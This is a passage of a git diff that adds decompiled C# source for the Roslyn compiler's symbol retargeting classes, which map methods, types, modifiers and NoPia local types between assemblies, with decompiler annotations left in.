private ImmutableArray RetargetParameters() + { + ImmutableArray parameters = _underlyingMethod.Parameters; + int length = parameters.Length; + if (length == 0) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(length); + for (int i = 0; i < length; i++) + { + instance.Add((ParameterSymbol)new RetargetingMethodParameterSymbol(this, parameters[i])); + } + return instance.ToImmutableAndFree(); + } + + public override ImmutableArray GetAttributes() + { + return RetargetingTranslator.GetRetargetedAttributes(_underlyingMethod.GetAttributes(), ref _lazyCustomAttributes); + } + + internal override IEnumerable GetCustomAttributesToEmit(PEModuleBuilder moduleBuilder) + { + return RetargetingTranslator.RetargetAttributes(_underlyingMethod.GetCustomAttributesToEmit(moduleBuilder)); + } + + public override ImmutableArray GetReturnTypeAttributes() + { + return RetargetingTranslator.GetRetargetedAttributes(_underlyingMethod.GetReturnTypeAttributes(), ref _lazyReturnTypeCustomAttributes); + } + + internal override UnmanagedCallersOnlyAttributeData? GetUnmanagedCallersOnlyAttributeData(bool forceComplete) + { + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Expected O, but got Unknown + if (_lazyUnmanagedAttributeData == UnmanagedCallersOnlyAttributeData.Uninitialized) + { + UnmanagedCallersOnlyAttributeData val = _underlyingMethod.GetUnmanagedCallersOnlyAttributeData(forceComplete); + if (val == UnmanagedCallersOnlyAttributeData.Uninitialized || val == UnmanagedCallersOnlyAttributeData.AttributePresentDataNotBound) + { + return val; + } + if (val != null && !val.CallingConventionTypes.IsEmpty) + { + PooledHashSet instance = PooledHashSet.GetInstance(); + foreach (INamedTypeSymbolInternal callingConventionType in val.CallingConventionTypes) + { + ((HashSet)(object)instance).Add((INamedTypeSymbolInternal)RetargetingTranslator.Retarget((Symbol)(NamedTypeSymbol)(object)callingConventionType)); + } + val = UnmanagedCallersOnlyAttributeData.Create(((IEnumerable)instance).ToImmutableHashSet()); + instance.Free(); + } + Interlocked.CompareExchange(ref _lazyUnmanagedAttributeData, val, UnmanagedCallersOnlyAttributeData.Uninitialized); + } + return _lazyUnmanagedAttributeData; + } + + internal override bool TryGetThisParameter(out ParameterSymbol? thisParameter) + { + if (!_underlyingMethod.TryGetThisParameter(out var thisParameter2)) + { + thisParameter = null; + return false; + } + thisParameter = (((object)thisParameter2 != null) ? new ThisParameterSymbol(this) : null); + return true; + } + + private ImmutableArray RetargetExplicitInterfaceImplementations() + { + ImmutableArray explicitInterfaceImplementations = _underlyingMethod.ExplicitInterfaceImplementations; + if (explicitInterfaceImplementations.IsEmpty) + { + return explicitInterfaceImplementations; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + for (int i = 0; i < explicitInterfaceImplementations.Length; i++) + { + MethodSymbol methodSymbol = RetargetingTranslator.Retarget(explicitInterfaceImplementations[i], MemberSignatureComparer.RetargetedExplicitImplementationComparer); + if ((object)methodSymbol != null) + { + instance.Add(methodSymbol); + } + } + return instance.ToImmutableAndFree(); + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + if (!_lazyCachedUseSiteInfo.IsInitialized) + { + AssemblySymbol primaryDependency = base.PrimaryDependency; + UseSiteInfo result = default(UseSiteInfo); + result._002Ector(primaryDependency); + CalculateUseSiteDiagnostic(ref result); + _lazyCachedUseSiteInfo.Initialize(primaryDependency, result); + } + return _lazyCachedUseSiteInfo.ToUseSiteInfo(base.PrimaryDependency); + } + + internal override int CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Retargeting/RetargetingMethodSymbol.cs", 375); + } + + internal override bool IsNullableAnalysisEnabled() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Retargeting/RetargetingMethodSymbol.cs", 378); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingModuleSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingModuleSymbol.cs new file mode 100644 index 0000000..7a6030e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingModuleSymbol.cs @@ -0,0 +1,1196 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Globalization; +using System.Linq; +using System.Reflection.PortableExecutable; +using System.Runtime.InteropServices; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting; + +internal sealed class RetargetingModuleSymbol : NonMissingModuleSymbol +{ + private struct DestinationData + { + public AssemblySymbol To; + + private ConcurrentDictionary? _symbolMap; + + public ConcurrentDictionary SymbolMap => LazyInitializer.EnsureInitialized(ref _symbolMap); + } + + internal class RetargetingSymbolTranslator : CSharpSymbolVisitor + { + private class RetargetedTypeMethodFinder : RetargetingSymbolTranslator + { + private readonly NamedTypeSymbol _retargetedType; + + private readonly MethodSymbol _toFind; + + private RetargetedTypeMethodFinder(RetargetingModuleSymbol retargetingModule, NamedTypeSymbol retargetedType, MethodSymbol toFind) + : base(retargetingModule) + { + _retargetedType = retargetedType; + _toFind = toFind; + } + + public static MethodSymbol Find(RetargetingSymbolTranslator translator, MethodSymbol method, NamedTypeSymbol retargetedType, IEqualityComparer retargetedMethodComparer) + { + if (!method.IsGenericMethod && !retargetedType.IsGenericType) + { + return FindWorker(translator, method, retargetedType, retargetedMethodComparer); + } + return FindWorker(new RetargetedTypeMethodFinder(translator._retargetingModule, retargetedType, method), method, retargetedType, retargetedMethodComparer); + } + + private static MethodSymbol FindWorker(RetargetingSymbolTranslator translator, MethodSymbol method, NamedTypeSymbol retargetedType, IEqualityComparer retargetedMethodComparer) + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Invalid comparison between Unknown and I4 + ImmutableArray parameters = ImmutableArrayExtensions.SelectAsArray(method.Parameters, (Func)((ParameterSymbol param, RetargetingSymbolTranslator retargetingSymbolTranslator) => new SignatureOnlyParameterSymbol(retargetingSymbolTranslator.Retarget(param.TypeWithAnnotations, RetargetOptions.RetargetPrimitiveTypesByTypeCode), retargetingSymbolTranslator.RetargetModifiers(param.RefCustomModifiers, out var _), param.IsParams, param.RefKind)), translator); + bool modifiersHaveChanged; + SignatureOnlyMethodSymbol y = new SignatureOnlyMethodSymbol(method.Name, retargetedType, method.MethodKind, method.CallingConvention, IndexedTypeParameterSymbol.TakeSymbols(method.Arity), parameters, method.RefKind, method.IsInitOnly, method.IsStatic, translator.Retarget(method.ReturnTypeWithAnnotations, RetargetOptions.RetargetPrimitiveTypesByTypeCode), translator.RetargetModifiers(method.RefCustomModifiers, out modifiersHaveChanged), ImmutableArray.Empty); + ImmutableArray.Enumerator enumerator = retargetedType.GetMembers(method.Name).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 9) + { + MethodSymbol methodSymbol = (MethodSymbol)current; + if (retargetedMethodComparer.Equals(methodSymbol, y)) + { + return methodSymbol; + } + } + } + return null; + } + + public override TypeParameterSymbol Retarget(TypeParameterSymbol typeParameter) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)typeParameter.TypeParameterKind == 1) + { + return IndexedTypeParameterSymbol.GetTypeParameter(typeParameter.Ordinal); + } + NamedTypeSymbol containingType = _toFind.ContainingType; + NamedTypeSymbol namedTypeSymbol = _retargetedType; + do + { + if ((object)containingType == typeParameter.ContainingSymbol) + { + return namedTypeSymbol.TypeParameters[typeParameter.Ordinal]; + } + containingType = containingType.ContainingType; + namedTypeSymbol = namedTypeSymbol.ContainingType; + } + while ((object)containingType != null); + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Retargeting/RetargetingSymbolTranslator.cs", 1069); + } + } + + private readonly RetargetingModuleSymbol _retargetingModule; + + private ConcurrentDictionary SymbolMap => _retargetingModule._symbolMap; + + private RetargetingAssemblySymbol RetargetingAssembly => _retargetingModule._retargetingAssembly; + + private SourceModuleSymbol UnderlyingModule => _retargetingModule._underlyingModule; + + private Dictionary RetargetingAssemblyMap => _retargetingModule._retargetingAssemblyMap; + + public RetargetingSymbolTranslator(RetargetingModuleSymbol retargetingModule) + { + _retargetingModule = retargetingModule; + } + + public Symbol Retarget(Symbol symbol) + { + return symbol.Accept(this, RetargetOptions.RetargetPrimitiveTypesByName); + } + + public MarshalPseudoCustomAttributeData Retarget(MarshalPseudoCustomAttributeData marshallingInfo) + { + if (marshallingInfo == null) + { + return null; + } + return marshallingInfo.WithTranslatedTypes((Func)((TypeSymbol type, RetargetingSymbolTranslator translator) => translator.Retarget(type, RetargetOptions.RetargetPrimitiveTypesByTypeCode)), this); + } + + public TypeSymbol Retarget(TypeSymbol symbol, RetargetOptions options) + { + return (TypeSymbol)symbol.Accept(this, options); + } + + public TypeWithAnnotations Retarget(TypeWithAnnotations underlyingType, RetargetOptions options, NamedTypeSymbol asDynamicIfNoPiaContainingType = null) + { + TypeSymbol typeSymbol = Retarget(underlyingType.Type, options); + if ((object)asDynamicIfNoPiaContainingType != null) + { + typeSymbol = typeSymbol.AsDynamicIfNoPia(asDynamicIfNoPiaContainingType); + } + bool modifiersHaveChanged; + ImmutableArray customModifiers = RetargetModifiers(underlyingType.CustomModifiers, out modifiersHaveChanged); + if (modifiersHaveChanged || !TypeSymbol.Equals(underlyingType.Type, typeSymbol, (TypeCompareKind)0)) + { + return underlyingType.WithTypeAndModifiers(typeSymbol, customModifiers); + } + return underlyingType; + } + + public NamespaceSymbol Retarget(NamespaceSymbol ns) + { + return (NamespaceSymbol)SymbolMap.GetOrAdd(ns, _retargetingModule._createRetargetingNamespace); + } + + private NamedTypeSymbol RetargetNamedTypeDefinition(NamedTypeSymbol type, RetargetOptions options) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Invalid comparison between Unknown and I4 + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Invalid comparison between Unknown and I4 + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + if (type.IsNativeIntegerWrapperType) + { + NamedTypeSymbol namedTypeSymbol = RetargetNamedTypeDefinition(type.NativeIntegerUnderlyingType, options); + if ((int)namedTypeSymbol.SpecialType != 0) + { + return namedTypeSymbol.AsNativeInteger(); + } + return namedTypeSymbol; + } + if (options == RetargetOptions.RetargetPrimitiveTypesByTypeCode) + { + PrimitiveTypeCode primitiveTypeCode = type.PrimitiveTypeCode; + if ((int)primitiveTypeCode != 18) + { + return RetargetingAssembly.GetPrimitiveType(primitiveTypeCode); + } + } + if ((int)type.Kind == 4) + { + return Retarget((ErrorTypeSymbol)type); + } + AssemblySymbol containingAssembly = type.ContainingAssembly; + if (((object)containingAssembly != RetargetingAssembly.UnderlyingAssembly) ? containingAssembly.IsLinked : type.IsExplicitDefinitionOfNoPiaLocalType) + { + return RetargetNoPiaLocalType(type); + } + if ((object)containingAssembly == RetargetingAssembly.UnderlyingAssembly) + { + return RetargetNamedTypeDefinitionFromUnderlyingAssembly(type); + } + if (!RetargetingAssemblyMap.TryGetValue(containingAssembly, out var value)) + { + return type; + } + type = PerformTypeRetargeting(ref value, type); + RetargetingAssemblyMap[containingAssembly] = value; + return type; + } + + private NamedTypeSymbol RetargetNamedTypeDefinitionFromUnderlyingAssembly(NamedTypeSymbol type) + { + ModuleSymbol containingModule = type.ContainingModule; + if ((object)containingModule == UnderlyingModule) + { + NamedTypeSymbol containingType = type.ContainingType; + while ((object)containingType != null) + { + if (containingType.IsExplicitDefinitionOfNoPiaLocalType) + { + return (NamedTypeSymbol)SymbolMap.GetOrAdd(type, new UnsupportedMetadataTypeSymbol()); + } + containingType = containingType.ContainingType; + } + return (NamedTypeSymbol)SymbolMap.GetOrAdd(type, _retargetingModule._createRetargetingNamedType); + } + PEModuleSymbol addedModule = (PEModuleSymbol)RetargetingAssembly.Modules[containingModule.Ordinal]; + return RetargetNamedTypeDefinition((PENamedTypeSymbol)type, addedModule); + } + + private NamedTypeSymbol RetargetNoPiaLocalType(NamedTypeSymbol type) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Invalid comparison between Unknown and I4 + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + //IL_00fd: Unknown result type (might be due to invalid IL or missing references) + //IL_0102: Unknown result type (might be due to invalid IL or missing references) + ConcurrentDictionary noPiaUnificationMap = RetargetingAssembly.NoPiaUnificationMap; + if (noPiaUnificationMap.TryGetValue(type, out var value)) + { + return value; + } + NamedTypeSymbol value2; + if ((int)type.ContainingSymbol.Kind != 11 && type.Arity == 0) + { + bool isInterface = type.IsInterface; + bool flag = false; + string guidString = null; + string guidString2 = null; + if (isInterface) + { + flag = type.GetGuidString(out guidString); + } + MetadataTypeName name = MetadataTypeName.FromFullName(((Symbol)type).ToDisplayString(SymbolDisplayFormat.QualifiedNameOnlyFormat), false, type.Arity); + string identifier = null; + if ((object)type.ContainingModule == _retargetingModule.UnderlyingModule) + { + ImmutableArray.Enumerator enumerator = type.GetAttributes().GetEnumerator(); + while (enumerator.MoveNext()) + { + CSharpAttributeData current = enumerator.Current; + int targetAttributeSignatureIndex = current.GetTargetAttributeSignatureIndex(type, AttributeDescription.TypeIdentifierAttribute); + if (targetAttributeSignatureIndex != -1) + { + if (targetAttributeSignatureIndex == 1 && ((AttributeData)current).CommonConstructorArguments.Length == 2) + { + TypedConstant val = ((AttributeData)current).CommonConstructorArguments[0]; + guidString2 = ((TypedConstant)(ref val)).ValueInternal as string; + val = ((AttributeData)current).CommonConstructorArguments[1]; + identifier = ((TypedConstant)(ref val)).ValueInternal as string; + } + break; + } + } + } + else if (!(flag && isInterface)) + { + type.ContainingAssembly.GetGuidString(out guidString2); + identifier = ((MetadataTypeName)(ref name)).FullName; + } + value2 = MetadataDecoder.SubstituteNoPiaLocalType(ref name, isInterface, type.BaseTypeNoUseSiteDiagnostics, guidString, guidString2, identifier, RetargetingAssembly); + } + else + { + value2 = new UnsupportedMetadataTypeSymbol(); + } + return noPiaUnificationMap.GetOrAdd(type, value2); + } + + private static NamedTypeSymbol RetargetNamedTypeDefinition(PENamedTypeSymbol type, PEModuleSymbol addedModule) + { + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + if (addedModule.TypeHandleToTypeMap.TryGetValue(type.Handle, out var value)) + { + return (NamedTypeSymbol)value; + } + NamedTypeSymbol containingType = type.ContainingType; + MetadataTypeName emittedTypeName; + if ((object)containingType != null) + { + NamedTypeSymbol namedTypeSymbol = RetargetNamedTypeDefinition((PENamedTypeSymbol)containingType, addedModule); + emittedTypeName = MetadataTypeName.FromTypeName(type.MetadataName, false, type.Arity); + return namedTypeSymbol.LookupMetadataType(ref emittedTypeName); + } + emittedTypeName = MetadataTypeName.FromNamespaceAndTypeName(type.ContainingNamespace.ToDisplayString(SymbolDisplayFormat.QualifiedNameOnlyFormat), type.MetadataName, false, type.Arity); + return addedModule.LookupTopLevelMetadataType(ref emittedTypeName); + } + + private static NamedTypeSymbol PerformTypeRetargeting(ref DestinationData destination, NamedTypeSymbol type) + { + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + if (!destination.SymbolMap.TryGetValue(type, out NamedTypeSymbol value)) + { + NamedTypeSymbol containingType = type.ContainingType; + NamedTypeSymbol namedTypeSymbol2; + if ((object)containingType != null) + { + NamedTypeSymbol namedTypeSymbol = PerformTypeRetargeting(ref destination, containingType); + MetadataTypeName emittedTypeName = MetadataTypeName.FromTypeName(type.MetadataName, false, type.Arity); + namedTypeSymbol2 = namedTypeSymbol.LookupMetadataType(ref emittedTypeName); + if ((object)namedTypeSymbol2 == null) + { + namedTypeSymbol2 = new MissingMetadataTypeSymbol.Nested(namedTypeSymbol, ref emittedTypeName); + } + } + else + { + MetadataTypeName emittedTypeName = MetadataTypeName.FromNamespaceAndTypeName(type.ContainingNamespace.ToDisplayString(SymbolDisplayFormat.QualifiedNameOnlyFormat), type.MetadataName, false, type.Arity); + namedTypeSymbol2 = destination.To.LookupDeclaredOrForwardedTopLevelMetadataType(ref emittedTypeName, null); + } + return destination.SymbolMap.GetOrAdd(type, namedTypeSymbol2); + } + return value; + } + + public NamedTypeSymbol Retarget(NamedTypeSymbol type, RetargetOptions options) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Invalid comparison between Unknown and I4 + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol originalDefinition = type.OriginalDefinition; + NamedTypeSymbol namedTypeSymbol = RetargetNamedTypeDefinition(originalDefinition, options); + if ((object)type == originalDefinition) + { + return namedTypeSymbol; + } + if ((int)namedTypeSymbol.Kind == 4 && !namedTypeSymbol.IsGenericType) + { + return namedTypeSymbol; + } + if (type.IsUnboundGenericType) + { + if ((object)namedTypeSymbol == originalDefinition) + { + return type; + } + return namedTypeSymbol.AsUnboundGenericType(); + } + NamedTypeSymbol namedTypeSymbol2 = type; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + int num = int.MaxValue; + while ((object)namedTypeSymbol2 != null) + { + if (num == int.MaxValue && !namedTypeSymbol2.IsInterface) + { + num = instance.Count; + } + instance.AddRange(namedTypeSymbol2.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics); + namedTypeSymbol2 = namedTypeSymbol2.ContainingType; + } + bool flag = !originalDefinition.Equals(namedTypeSymbol); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(instance.Count); + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeWithAnnotations current = enumerator.Current; + TypeWithAnnotations typeWithAnnotations = Retarget(current, RetargetOptions.RetargetPrimitiveTypesByTypeCode); + if (!flag && !typeWithAnnotations.IsSameAs(current)) + { + flag = true; + } + instance2.Add(typeWithAnnotations); + } + bool flag2 = IsNoPiaIllegalGenericInstantiation(instance, instance2, num); + instance.Free(); + NamedTypeSymbol namedTypeSymbol3; + if (!flag) + { + namedTypeSymbol3 = type; + } + else + { + namedTypeSymbol2 = namedTypeSymbol; + ArrayBuilder instance3 = ArrayBuilder.GetInstance(instance2.Count); + while ((object)namedTypeSymbol2 != null) + { + if (namedTypeSymbol2.Arity > 0) + { + instance3.AddRange(namedTypeSymbol2.TypeParameters); + } + namedTypeSymbol2 = namedTypeSymbol2.ContainingType; + } + namedTypeSymbol3 = new TypeMap(instance3.ToImmutableAndFree(), instance2.ToImmutable()).SubstituteNamedType(namedTypeSymbol).WithTupleDataFrom(type); + } + instance2.Free(); + if (flag2) + { + return new NoPiaIllegalGenericInstantiationSymbol(_retargetingModule, namedTypeSymbol3); + } + return namedTypeSymbol3; + } + + private bool IsNoPiaIllegalGenericInstantiation(ArrayBuilder oldArguments, ArrayBuilder newArguments, int startOfNonInterfaceArguments) + { + if (UnderlyingModule.ContainsExplicitDefinitionOfNoPiaLocalTypes) + { + for (int i = startOfNonInterfaceArguments; i < oldArguments.Count; i++) + { + if (IsOrClosedOverAnExplicitLocalType(oldArguments[i].Type)) + { + return true; + } + } + } + ImmutableArray assembliesToEmbedTypesFrom = UnderlyingModule.GetAssembliesToEmbedTypesFrom(); + if (assembliesToEmbedTypesFrom.Length > 0) + { + for (int j = startOfNonInterfaceArguments; j < oldArguments.Count; j++) + { + if (MetadataDecoder.IsOrClosedOverATypeFromAssemblies(oldArguments[j].Type, assembliesToEmbedTypesFrom)) + { + return true; + } + } + } + ImmutableArray linkedReferencedAssemblies = RetargetingAssembly.GetLinkedReferencedAssemblies(); + if (!linkedReferencedAssemblies.IsDefaultOrEmpty) + { + for (int k = startOfNonInterfaceArguments; k < newArguments.Count; k++) + { + if (MetadataDecoder.IsOrClosedOverATypeFromAssemblies(newArguments[k].Type, linkedReferencedAssemblies)) + { + return true; + } + } + } + return false; + } + + private bool IsOrClosedOverAnExplicitLocalType(TypeSymbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Invalid comparison between Unknown and I4 + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Expected I4, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Invalid comparison between Unknown and I4 + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Invalid comparison between Unknown and I4 + SymbolKind kind = symbol.Kind; + if ((int)kind <= 11) + { + switch (kind - 1) + { + default: + if ((int)kind != 11) + { + break; + } + goto case 3; + case 0: + return IsOrClosedOverAnExplicitLocalType(((ArrayTypeSymbol)symbol).ElementType); + case 2: + return false; + case 3: + { + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)symbol; + if ((object)symbol.OriginalDefinition.ContainingModule == _retargetingModule.UnderlyingModule && namedTypeSymbol.IsExplicitDefinitionOfNoPiaLocalType) + { + return true; + } + do + { + ImmutableArray.Enumerator enumerator = namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (IsOrClosedOverAnExplicitLocalType(enumerator.Current.Type)) + { + return true; + } + } + namedTypeSymbol = namedTypeSymbol.ContainingType; + } + while ((object)namedTypeSymbol != null); + return false; + } + case 1: + break; + } + } + else + { + if ((int)kind == 14) + { + return IsOrClosedOverAnExplicitLocalType(((PointerTypeSymbol)symbol).PointedAtType); + } + if ((int)kind == 17) + { + return false; + } + } + throw ExceptionUtilities.UnexpectedValue((object)symbol.Kind); + } + + public virtual TypeParameterSymbol Retarget(TypeParameterSymbol typeParameter) + { + return (TypeParameterSymbol)SymbolMap.GetOrAdd(typeParameter, _retargetingModule._createRetargetingTypeParameter); + } + + public ArrayTypeSymbol Retarget(ArrayTypeSymbol type) + { + TypeWithAnnotations elementTypeWithAnnotations = type.ElementTypeWithAnnotations; + TypeWithAnnotations typeWithAnnotations = Retarget(elementTypeWithAnnotations, RetargetOptions.RetargetPrimitiveTypesByTypeCode); + if (elementTypeWithAnnotations.IsSameAs(typeWithAnnotations)) + { + return type; + } + if (type.IsSZArray) + { + return ArrayTypeSymbol.CreateSZArray(RetargetingAssembly, typeWithAnnotations); + } + return ArrayTypeSymbol.CreateMDArray(RetargetingAssembly, typeWithAnnotations, type.Rank, type.Sizes, type.LowerBounds); + } + + internal ImmutableArray RetargetModifiers(ImmutableArray oldModifiers, out bool modifiersHaveChanged) + { + ArrayBuilder val = null; + for (int i = 0; i < oldModifiers.Length; i++) + { + CustomModifier val2 = oldModifiers[i]; + NamedTypeSymbol modifierSymbol = ((CSharpCustomModifier)(object)val2).ModifierSymbol; + NamedTypeSymbol namedTypeSymbol = Retarget(modifierSymbol, RetargetOptions.RetargetPrimitiveTypesByName); + if (!namedTypeSymbol.Equals(modifierSymbol)) + { + if (val == null) + { + val = ArrayBuilder.GetInstance(oldModifiers.Length); + val.AddRange(oldModifiers, i); + } + val.Add(val2.IsOptional ? CSharpCustomModifier.CreateOptional(namedTypeSymbol) : CSharpCustomModifier.CreateRequired(namedTypeSymbol)); + } + else + { + val?.Add(val2); + } + } + modifiersHaveChanged = val != null; + if (!modifiersHaveChanged) + { + return oldModifiers; + } + return val.ToImmutableAndFree(); + } + + public PointerTypeSymbol Retarget(PointerTypeSymbol type) + { + TypeWithAnnotations pointedAtTypeWithAnnotations = type.PointedAtTypeWithAnnotations; + TypeWithAnnotations typeWithAnnotations = Retarget(pointedAtTypeWithAnnotations, RetargetOptions.RetargetPrimitiveTypesByTypeCode); + if (pointedAtTypeWithAnnotations.IsSameAs(typeWithAnnotations)) + { + return type; + } + return new PointerTypeSymbol(typeWithAnnotations); + } + + public FunctionPointerTypeSymbol Retarget(FunctionPointerTypeSymbol type) + { + FunctionPointerMethodSymbol signature = type.Signature; + TypeWithAnnotations typeWithAnnotations = Retarget(signature.ReturnTypeWithAnnotations, RetargetOptions.RetargetPrimitiveTypesByTypeCode); + bool modifiersHaveChanged; + ImmutableArray refCustomModifiers = RetargetModifiers(signature.RefCustomModifiers, out modifiersHaveChanged); + modifiersHaveChanged = modifiersHaveChanged || !signature.ReturnTypeWithAnnotations.IsSameAs(typeWithAnnotations); + ImmutableArray substitutedParameterTypes = ImmutableArray.Empty; + ImmutableArray> paramRefCustomModifiers = default(ImmutableArray>); + int parameterCount = signature.ParameterCount; + if (parameterCount > 0) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(parameterCount); + ArrayBuilder> instance2 = ArrayBuilder>.GetInstance(parameterCount); + bool flag = false; + ImmutableArray.Enumerator enumerator = signature.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + TypeWithAnnotations typeWithAnnotations2 = Retarget(current.TypeWithAnnotations, RetargetOptions.RetargetPrimitiveTypesByTypeCode); + bool modifiersHaveChanged2; + ImmutableArray immutableArray = RetargetModifiers(current.RefCustomModifiers, out modifiersHaveChanged2); + instance.Add(typeWithAnnotations2); + instance2.Add(immutableArray); + flag = flag || !current.TypeWithAnnotations.IsSameAs(typeWithAnnotations2) || modifiersHaveChanged2; + } + if (flag) + { + substitutedParameterTypes = instance.ToImmutableAndFree(); + paramRefCustomModifiers = instance2.ToImmutableAndFree(); + modifiersHaveChanged = true; + } + else + { + instance.Free(); + instance2.Free(); + substitutedParameterTypes = signature.ParameterTypesWithAnnotations; + } + } + if (modifiersHaveChanged) + { + return type.SubstituteTypeSymbol(typeWithAnnotations, substitutedParameterTypes, refCustomModifiers, paramRefCustomModifiers); + } + return type; + } + + public static ErrorTypeSymbol Retarget(ErrorTypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Invalid comparison between Unknown and I4 + DiagnosticInfo diagnosticInfo = type.GetUseSiteInfo().DiagnosticInfo; + if (diagnosticInfo != null && (int)diagnosticInfo.Severity == 3) + { + return type; + } + object obj = (type as ExtendedErrorTypeSymbol)?.AsUnreported(); + if (obj == null) + { + LookupResultKind resultKind = type.ResultKind; + object obj2 = type.ErrorInfo; + if (obj2 == null) + { + object[] array = new object[1]; + AssemblySymbol containingAssembly = type.ContainingAssembly; + array[0] = (((object)containingAssembly != null) ? containingAssembly.Identity.GetDisplayName(false) : null) ?? string.Empty; + obj2 = new CSDiagnosticInfo(ErrorCode.ERR_ErrorInReferencedAssembly, array); + } + obj = new ExtendedErrorTypeSymbol(type, resultKind, (DiagnosticInfo)obj2, unreported: true); + } + return (ErrorTypeSymbol)obj; + } + + public ImmutableArray Retarget(ImmutableArray arr) + { + return ImmutableArrayExtensions.SelectAsArray(arr, (Func)((Symbol s, RetargetingSymbolTranslator self) => self.Retarget(s)), this); + } + + public ImmutableArray Retarget(ImmutableArray sequence) + { + return ImmutableArrayExtensions.SelectAsArray(sequence, (Func)((NamedTypeSymbol nts, RetargetingSymbolTranslator self) => self.Retarget(nts, RetargetOptions.RetargetPrimitiveTypesByName)), this); + } + + public ImmutableArray Retarget(ImmutableArray sequence) + { + return ImmutableArrayExtensions.SelectAsArray(sequence, (Func)((TypeSymbol ts, RetargetingSymbolTranslator self) => self.Retarget(ts, RetargetOptions.RetargetPrimitiveTypesByName)), this); + } + + public ImmutableArray Retarget(ImmutableArray sequence) + { + return ImmutableArrayExtensions.SelectAsArray(sequence, (Func)((TypeWithAnnotations ts, RetargetingSymbolTranslator self) => self.Retarget(ts, RetargetOptions.RetargetPrimitiveTypesByName)), this); + } + + public ImmutableArray Retarget(ImmutableArray list) + { + return ImmutableArrayExtensions.SelectAsArray(list, (Func)((TypeParameterSymbol tps, RetargetingSymbolTranslator self) => self.Retarget(tps)), this); + } + + public MethodSymbol Retarget(MethodSymbol method) + { + return (MethodSymbol)SymbolMap.GetOrAdd(method, _retargetingModule._createRetargetingMethod); + } + + public MethodSymbol Retarget(MethodSymbol method, IEqualityComparer retargetedMethodComparer) + { + if ((object)method.ContainingModule == UnderlyingModule && (object)method == method.OriginalDefinition) + { + return Retarget(method); + } + NamedTypeSymbol containingType = method.ContainingType; + 